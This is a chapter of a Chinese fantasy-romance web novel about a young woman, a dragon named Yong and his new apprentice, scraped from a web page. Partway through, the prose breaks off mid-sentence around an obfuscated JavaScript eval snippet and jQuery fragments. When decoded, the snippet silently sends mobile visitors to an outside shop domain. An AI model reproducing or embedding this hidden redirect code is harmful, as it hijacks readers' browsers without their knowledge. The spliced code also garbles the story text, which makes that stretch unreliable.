14. 第14章
    陶淼委委屈屈地说了自己创业之路的艰辛,但又怕消极情绪会影响到颙养伤,反过来安慰颙不要担心,才刚刚开始,她会想到解决办法的。

    颙没想到淼淼不仅是想要帮助潜龙村,竟然还想赚钱养家,玉镜后的那双龙眸转了几转,是不是上次拿回去的钱太少了?赵家那个后代说着这是一年的花销,可能淼淼太过于深谋远虑,所以会忧心以后。

    “慢慢来,淼淼,其实老巢里有很多宝物,我们可以拿去卖了的。”

    正郁闷着扣玉镯的陶淼瞬间两眼放光,果然活了千年的龙不会之后那几件家具,可是说要卖掉的话,陶淼有些不舍得。

    “还是别卖啦,我们还没到那种地步呢,再等等看。”

    这龙好不容易存下那些宝贝,在他家放了几千年,不能到自己这就被卖了,怎么说都承载着那几千年的痕迹,本来他就没有什么可以拿来纪念的,这些死物可能是金龙唯一能从上面回忆起过去的载体,陶淼不想让他拿去卖掉。

    陶淼不知道自己任何细微的表情都被深海里一动不动的金龙看了去。

    “好,都听淼淼的。”

    还都听她的,陶淼捂嘴偷笑,不敢笑出声音,调整好气息才回道:“好啦,你也早点休息吧。”

    “嗯。”

    直到玉镜里面的人儿沉睡,金龙才闭上了眼睛。

    陶淼连续几日到处收集关于海产海鲜售卖运输的信息,没想到事情比她想的还要复杂,那些供销商、运营商都是大几年甚至几十年靠积攒下来的经验和客源才做到那么大,初入这个行业的小白前期都是只能投入很难看到回报的。

    这不行,不行,陶淼哪有这么多资金,暂不提行业内的投入,渔民们也得拿得到报酬,两边都要用钱,谁家负担的起呀?

    这几日跟颙“打电话”她都没说这些,陶淼渐渐地回过味了,颙对人类行为的干涉是有限的,如果到了那种会介入别人因果的程度,他就会遭到反噬,所以陶淼不想让他知道太多,不想让他跟着发愁,更不愿意他出手帮忙然后遭天谴。

    所谓“妇女能顶半边天。”陶淼坚信事在人为,只要不放弃前方就会有希望。

    这天陶淼搬了一个小摇椅躺坐在檐下,希望这样可以晃出灵感,没想到沈泽林这时候来了,看来沈爷爷的后事已经处理妥当了。

    可颙不在家岂不是白跑一趟,沈泽林却说不碍事,颙先生不在家他也要按时来。

    真是个实诚孩子,陶淼还是打了电话过去跟颙说一声,得到的回复就是,他明天就要回来了,让沈泽林自便。

    自便?怎么个自便?因为是颙的未来的徒弟,陶淼没有擅作主张,把人先迎进屋,聊一聊也行。

    沈泽林气质温润儒雅,颙也儒雅,但两人给人的感觉截然不同,沈泽林像是邻家大哥哥,但颙就像是睥睨众生的帝王因为学识和仁爱而添了一丝儒雅。

    沈泽林接过茶水,问道:“陶姑娘,颙先生外出去哪里了?”

    “哦,他回他老家养伤去了。”都要是徒弟了,没必要隐瞒。

    沈泽林沉思了几秒,“是前几日救回七位渔民那事吗?”沈爷爷殡葬后事村里许多人前来送行,闲聊起了前几日深海漩涡一事,沈泽林听闻事陶姑娘和一神秘男子救了他们,他心里就有了数。

    据那天出海的渔民所述,黑云重的都快要压下来了,云里天雷滚滚,犹如话本里的道长渡劫。哪是什么道长,沈泽林清楚地知道,那是颙先生再次插手了别人的因果,就如当年救下他奶奶和爸爸那样。

    陶淼点点头,看来村里也传开了,恐怕村民们都还在猜测他们是不是还活着,那到时候露面岂不是要吓到他们?

    沈泽林观陶淼神情,见其面上没有为颙先生所遇之事赶到悲痛,反而神游天外,心想颙先生的身边的人果然不一般。

    两人也不能这么干坐着,陶淼就开始闲聊,对沈泽林也有所了解。

    沈泽林是沈家独子,大学按部就班地读了两年,读大学对他来说可有可无,他志不在此,爷爷重病之后就辍学回潜龙村照顾爷爷,他父亲在颍州做房地产生意,正是风口上的行业,赚的不少,反正够沈泽林这辈子吃喝了,也就没有反对沈泽林辍学。

    沈泽林与爷爷感情颇深,可能是小时候爷爷讲的故事对年幼的孩童来说太过于神秘,总是缠着爷爷问个不停,这些故事全是关于那条金龙的。

    消失许久的金龙成了沈爷爷重病后最大的念想,沈爷爷唯一的奢望就是在离开这人世之前再见一面颙先生。万幸,颙先生自己找到了沈家。

    沈泽林终于印证了自己儿时的猜想,金龙不仅真实存在也一定还存于世间。

    沈家这个孙子做事情还挺有主见的,“那你跟着颙会不会不太适应,典型的老干部,要是学当代的东西,估计你都能做他师傅了。”

    此时,陶淼手上的玉镯嗡嗡震动了两下,把她吓了一跳,怎么还跟手机一样有来电震动的嘛,陶淼喂了几声也没人答应。

    陶淼继续当前的话题,“你还这么年轻,书都没读完呢,就待在这小山头你可想好了呀。”

    沈泽林笑着点头,说他早就想好了。

    次日晚上,小院里灯火通明,剩下的一家三口再加上沈泽林,在院里排排坐等着颙回来。陶淼连同沈泽林和玄鸟把家里里里外外收拾好了,才给颙通信喊他可以回来了。因为颙不在,陶淼经常犯懒,懒得收拾家里,就那么得过且过了,但是她知道颙是有点洁癖的,所以带着大伙收拾完才敢叫人回来。

    院里一束白光闪过,消失后出现的是穿了青色长衫的颙,陶淼猜应该是他老家柜子里的衣服,别说,这一身亮相,真有些俊朗小生的感觉了。

    陶淼没敢多看,走上前看着人的胸口,轻声说:“你回来啦。”

    头顶传来一声嗯,伴随着轻声的鼻音,陶淼觉得太苏了,用极不可闻的嗓音说了句,那快进来吧,然后自己独自转身往客厅走去。

    沈泽林有点摸不着头脑,他看着陶姑娘如同机器人一般地走过去,站在颙先生面前,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422283|141358||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    头都不抬一下,说了句什么就又如同军训一般转身又回来了。

    颙先生又不知为何一脸微笑,待人走至跟前,沈泽林乖乖问好,颙先生也只是点了点头就回客厅了。

    沈泽林正要跟着进屋,被玄鸟啄着衣摆拦了下来,玄鸟飞至他肩膀窃窃私语道:“现在不是你进去的时候,跟我来。”

    然后不由分数地把沈泽林带到了厨房的土灶前,只有土灶那边有一个小板凳。

    沈泽林脑袋更晕了,第一次登门拜师怎么能把师傅撂在一边不管不问呢?玄鸟则说他要想在这家生存下来,凡事须得听它的。

    是吗?沈泽林看着站在土灶上雄赳赳气昂昂的小红鸟,心底没什么可信度。沈泽林站起身来,径直往客厅而去。

    喂,玄鸟在后面急的不行,真是没眼色的凡人,没看出来人家要谈谈心的嘛,七天!七天没见了,你说你凑过去干嘛。

    沈泽林踏进门槛时,细心观察了一下客厅的气氛,很正常啊,没觉得有什么奇怪的。他站到八仙桌前郑重地给颙先生行了拜师礼。

    陶淼往旁边挪了挪,给师徒两人留出空间。

    颙放下茶杯,对站着的沈泽林说道:“我没带过徒弟,你便随意些,至于你想学的,我带回来了一些书,闲时便多看看。”

    沈泽林讶然,颙先生竟然知道他感兴趣的是什么,他应下,心里有些期待颙先生会给他什么书。

    “谢谢师傅。”过后他便要改口了。

    陶淼听的云里雾里,怎么这小子还真有想学的东西啊?能学什么呢,总不会是腾云驾雾吧。不过颙有点事情做也挺好的,干干家务活,再带带徒弟,也算是消遣了。

    行过了拜师礼,这山上没有多余的房间,沈泽林抹黑回了村里。

    简单粗糙的拜师环节过去后,陶淼不似刚才那会尴尬了,真是的,她都不知道自己刚才怎么会那么呆,希望沈泽林那小子别在心底笑话她。

    人走后,陶淼才仔细看看颙的脸色和整个状态,不错,那温玉有点用,没有最开始那一副苍白无力的样子了。

    已经不早了,脱离现代的繁华热闹,陶淼早就养成了早睡早起的作息了,现在他们也该休息了。

    颙回来之前陶淼还打算继续跟他睡一屋呢,没别的想法,就是单纯的想让他恢复的快些,温玉虽然有用,但时间太少了,陶淼想着颙先借助温玉调养一下,没有那副快死的样子再回来让她帮他恢复一下。

    可现在陶淼做不到像颙走之前那样堂而皇之地跟他躺一张床上了,她这是怎么了,真是莫名其妙。

    于是陶淼在纠结要不要张口提这事,两人就这么干坐着没人吭声。

    玄鸟约莫着时间差不多了,犹如一个小管家一样站在八仙桌上,看着相顾无言的两人,一句话戳破平静的局面,“你们怎么还不去睡觉?”

    陶淼以手遮面,救命啊,为什么她听到这话会浑身每个细胞都觉得尴尬呢?她甚至不敢抬头看一眼颙,啊啊啊谁能来救救她,她感觉自己逐渐石化。